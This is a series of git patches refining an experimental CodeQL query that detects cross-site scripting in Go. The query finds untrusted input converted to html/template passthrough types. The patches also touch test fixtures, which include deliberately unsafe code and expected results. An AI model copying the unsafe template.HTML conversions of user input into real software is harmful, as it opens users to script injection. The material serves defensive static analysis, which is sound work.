| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted |
From 8f124f839507f1f0ff64d9afb31b523ea9a7a7f7 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Thu, 11 Mar 2021 17:23:07 +0100
Subject: [PATCH 15/20] Add missing docs
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 12 +++++++++---
1 file changed, 9 insertions(+), 3 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index d1607921c1e..e2c7e032e14 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -49,11 +49,14 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co
this = "UntrustedToConversion" + dstTypeName
}
+ /**
+ * Gets the name of conversion's destination type.
+ */
string getDstTypeName() { result = dstTypeName }
override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
- predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, string name) {
+ private predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, string name) {
exists(Type typ |
typ = sink.getResultType() and
typ.getUnderlyingType*().hasQualifiedName("html/template", name) and
@@ -90,16 +93,19 @@ class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTrac
FlowConfPassthroughTypeConversionToTemplateExecutionCall() {
dstTypeName instanceof PassthroughTypeName and
- this = "UnsafeConversionToExec" + dstTypeName
+ this = "ConversionToExec" + dstTypeName
}
+ /**
+ * Gets the name of conversion's destination type.
+ */
string getDstTypeName() { result = dstTypeName }
override predicate isSource(DataFlow::Node source) {
isSourceConversionToPassthroughType(source, _)
}
- predicate isSourceConversionToPassthroughType(DataFlow::TypeCastNode source, string name) {
+ private predicate isSourceConversionToPassthroughType(DataFlow::TypeCastNode source, string name) {
exists(Type typ |
typ = source.getResultType() and
typ.getUnderlyingType*().hasQualifiedName("html/template", name) and
From 541c41108657c3c05ff293ef0ec0d481c1a2d3c1 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Thu, 11 Mar 2021 17:39:42 +0100
Subject: [PATCH 16/20] Add isSanitizer predicate to
FlowConfFromUntrustedToTemplateExecutionCall, and a test for it
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 4 ++++
.../HTMLTemplateEscapingPassthrough.expected | 24 +++++++++++++++++++
.../CWE-79/HTMLTemplateEscapingPassthrough.go | 8 +++++++
3 files changed, 36 insertions(+)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index e2c7e032e14..df575dfa398 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -142,6 +142,10 @@ class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Config
override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
+
+ override predicate isSanitizer(DataFlow::Node sanitizer) {
+ sanitizer instanceof SharedXss::Sanitizer
+ }
}
/**
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
index f81c79f791b..bc920fc54b6 100644
--- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
@@ -92,6 +92,14 @@ edges
| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped |
| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion |
| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src |
+| HTMLTemplateEscapingPassthrough.go:88:10:88:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
nodes
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
@@ -270,6 +278,22 @@ nodes
| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | semmle.label | src |
+| HTMLTemplateEscapingPassthrough.go:88:10:88:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
#select
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | converted |
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
index e0468e4bfb2..f001bc93138 100644
--- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
@@ -82,4 +82,12 @@ func good(req *http.Request) {
_ = converted
checkError(tmpl.Execute(os.Stdout, src))
}
+ {
+ // The untrusted input is sanitized before use.
+ tmpl, _ := template.New("test").Parse(`Your user agent is {{.}}
`)
+ src := req.UserAgent()
+
+ converted := template.HTML("" + template.HTMLEscapeString(src) + "")
+ checkError(tmpl.Execute(os.Stdout, converted))
+ }
}
From 1a9b09e8bd471cc95fb10fa252ee88762ebd200d Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Wed, 24 Mar 2021 15:19:06 +0100
Subject: [PATCH 17/20] Add NumericType sanitizer
---
ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index df575dfa398..3cef4f1e035 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -144,7 +144,7 @@ class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Config
override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
override predicate isSanitizer(DataFlow::Node sanitizer) {
- sanitizer instanceof SharedXss::Sanitizer
+ sanitizer instanceof SharedXss::Sanitizer or sanitizer.getType() instanceof NumericType
}
}
From dc95902e56b4917417fdc2eca03b8cb1a9b2a168 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Thu, 1 Apr 2021 15:50:25 +0300
Subject: [PATCH 18/20] Apply suggestions from code review
Co-authored-by: Chris Smowton
---
.../CWE-79/HTMLTemplateEscapingPassthrough.qhelp | 2 +-
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 8 +++-----
2 files changed, 4 insertions(+), 6 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
index ec406bdc198..a842a685f23 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
@@ -8,7 +8,7 @@
that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go
through.
- Using them on user-provided values will result in an XSS.
+ Using them on user-provided values will result in an opportunity for XSS.
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index 3cef4f1e035..9b0c37676ab 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -42,10 +42,9 @@ class PassthroughTypeName extends string {
* output of the templates.
*/
class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Configuration {
- string dstTypeName;
+ PassthroughTypeName dstTypeName;
FlowConfFromUntrustedToPassthroughTypeConversion() {
- dstTypeName instanceof PassthroughTypeName and
this = "UntrustedToConversion" + dstTypeName
}
@@ -105,11 +104,10 @@ class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTrac
isSourceConversionToPassthroughType(source, _)
}
- private predicate isSourceConversionToPassthroughType(DataFlow::TypeCastNode source, string name) {
+ private predicate isSourceConversionToPassthroughType(DataFlow::TypeCastNode source, PassthroughTypeName name) {
exists(Type typ |
typ = source.getResultType() and
- typ.getUnderlyingType*().hasQualifiedName("html/template", name) and
- name instanceof PassthroughTypeName
+ typ.getUnderlyingType*().hasQualifiedName("html/template", name)
)
}
From 7c35902724959b1d882a90448839299c94291dd1 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Thu, 1 Apr 2021 15:14:14 +0200
Subject: [PATCH 19/20] Use DataFlow::Node as parameters
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 28 ++++++++++---------
1 file changed, 15 insertions(+), 13 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index 9b0c37676ab..7f510d33d10 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -18,11 +18,11 @@ import DataFlow::PathGraph
* and `conversionSink` gets populated with the node where the conversion happens.
*/
predicate flowsFromUntrustedToConversion(
- DataFlow::PathNode untrusted, string targetType, DataFlow::PathNode conversionSink
+ DataFlow::Node untrusted, string targetType, DataFlow::Node conversionSink
) {
- exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::PathNode source |
- cfg.hasFlowPath(source, conversionSink) and
- source.getNode() = untrusted.getNode() and
+ exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::Node source |
+ cfg.hasFlow(source, conversionSink) and
+ source = untrusted and
targetType = cfg.getDstTypeName()
)
}
@@ -70,15 +70,15 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co
* Holds if the provided `conversion` node flows into the provided `execSink`.
*/
predicate flowsFromConversionToExec(
- DataFlow::PathNode conversion, string targetType, DataFlow::PathNode execSink
+ DataFlow::Node conversion, string targetType, DataFlow::Node execSink
) {
exists(
- FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::PathNode source,
- DataFlow::PathNode execSinkLocal
+ FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::Node source,
+ DataFlow::Node execSinkLocal
|
- cfg.hasFlowPath(source, execSinkLocal) and
- source.getNode() = conversion.getNode() and
- execSink.getNode() = execSinkLocal.getNode() and
+ cfg.hasFlow(source, execSinkLocal) and
+ source = conversion and
+ execSink = execSinkLocal and
targetType = cfg.getDstTypeName()
)
}
@@ -104,7 +104,9 @@ class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTrac
isSourceConversionToPassthroughType(source, _)
}
- private predicate isSourceConversionToPassthroughType(DataFlow::TypeCastNode source, PassthroughTypeName name) {
+ private predicate isSourceConversionToPassthroughType(
+ DataFlow::TypeCastNode source, PassthroughTypeName name
+ ) {
exists(Type typ |
typ = source.getResultType() and
typ.getUnderlyingType*().hasQualifiedName("html/template", name)
@@ -162,9 +164,9 @@ where
// C = template execution call
// Flows:
// A -> B
- flowsFromUntrustedToConversion(untrustedSource, targetTypeName, conversion) and
+ flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion.getNode()) and
// B -> C
- flowsFromConversionToExec(conversion, targetTypeName, templateExecCall) and
+ flowsFromConversionToExec(conversion.getNode(), targetTypeName, templateExecCall.getNode()) and
// A -> C
flowsFromUntrustedToExec(untrustedSource, templateExecCall)
select templateExecCall.getNode(), untrustedSource, templateExecCall,
From 68c0073c0b19397c4a184f5456708ebf66068816 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Thu, 1 Apr 2021 15:17:20 +0200
Subject: [PATCH 20/20] Use PassthroughTypeName instead of string
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 20 +++++++++----------
1 file changed, 9 insertions(+), 11 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index 7f510d33d10..81c2663a3b1 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -18,7 +18,7 @@ import DataFlow::PathGraph
* and `conversionSink` gets populated with the node where the conversion happens.
*/
predicate flowsFromUntrustedToConversion(
- DataFlow::Node untrusted, string targetType, DataFlow::Node conversionSink
+ DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink
) {
exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::Node source |
cfg.hasFlow(source, conversionSink) and
@@ -51,15 +51,14 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co
/**
* Gets the name of conversion's destination type.
*/
- string getDstTypeName() { result = dstTypeName }
+ PassthroughTypeName getDstTypeName() { result = dstTypeName }
override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
- private predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, string name) {
+ private predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) {
exists(Type typ |
typ = sink.getResultType() and
- typ.getUnderlyingType*().hasQualifiedName("html/template", name) and
- name instanceof PassthroughTypeName
+ typ.getUnderlyingType*().hasQualifiedName("html/template", name)
)
}
@@ -70,7 +69,7 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co
* Holds if the provided `conversion` node flows into the provided `execSink`.
*/
predicate flowsFromConversionToExec(
- DataFlow::Node conversion, string targetType, DataFlow::Node execSink
+ DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink
) {
exists(
FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::Node source,
@@ -88,17 +87,16 @@ predicate flowsFromConversionToExec(
* to a PassthroughType flows to a template execution call.
*/
class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking::Configuration {
- string dstTypeName;
+ PassthroughTypeName dstTypeName;
FlowConfPassthroughTypeConversionToTemplateExecutionCall() {
- dstTypeName instanceof PassthroughTypeName and
this = "ConversionToExec" + dstTypeName
}
/**
* Gets the name of conversion's destination type.
*/
- string getDstTypeName() { result = dstTypeName }
+ PassthroughTypeName getDstTypeName() { result = dstTypeName }
override predicate isSource(DataFlow::Node source) {
isSourceConversionToPassthroughType(source, _)
@@ -156,8 +154,8 @@ predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathN
}
from
- DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall, string targetTypeName,
- DataFlow::PathNode conversion
+ DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall,
+ PassthroughTypeName targetTypeName, DataFlow::PathNode conversion
where
// A = untrusted remote flow source
// B = conversion to PassthroughType